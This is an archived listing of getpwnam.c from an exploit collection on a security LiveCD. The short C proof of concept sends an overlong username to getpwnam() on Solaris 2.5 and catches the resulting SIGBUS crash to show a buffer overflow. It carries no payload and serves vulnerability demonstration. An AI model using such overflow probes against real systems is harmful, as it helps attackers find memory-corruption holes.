home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / getpwnam.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  671b  |  38 lines

  1. /*
  2.  
  3.     Solaris 2.5
  4.  
  5.     Charles Howes found following.  This program dies on Solaris  2.5.
  6.     This shows that getpwnam() has an overflowable buffer.
  7.  
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <pwd.h>
  12. #include <signal.h>
  13.  
  14. foobomb()
  15. {
  16.   printf("Uhoh... getpwnam() died.\n");
  17.   exit();
  18. }
  19.  
  20. main()
  21. {
  22.   char buf[20000];
  23.   struct passwd *pw;
  24.   memset(buf,'a',19990);
  25.   signal(SIGBUS,foobomb);
  26.   pw=getpwnam(buf);
  27.   signal(SIGBUS,SIG_IGN);
  28.   if (!pw)
  29.     {
  30.       printf("Success, no user was found.\n");
  31.     }
  32.   else
  33.     {
  34.       printf("What the... a user was found?\n");
  35.       printf("  user: %.100s\n",pw->pw_name);
  36.     }
  37. }
  38. /*                    www.hack.co.za              [2000]*/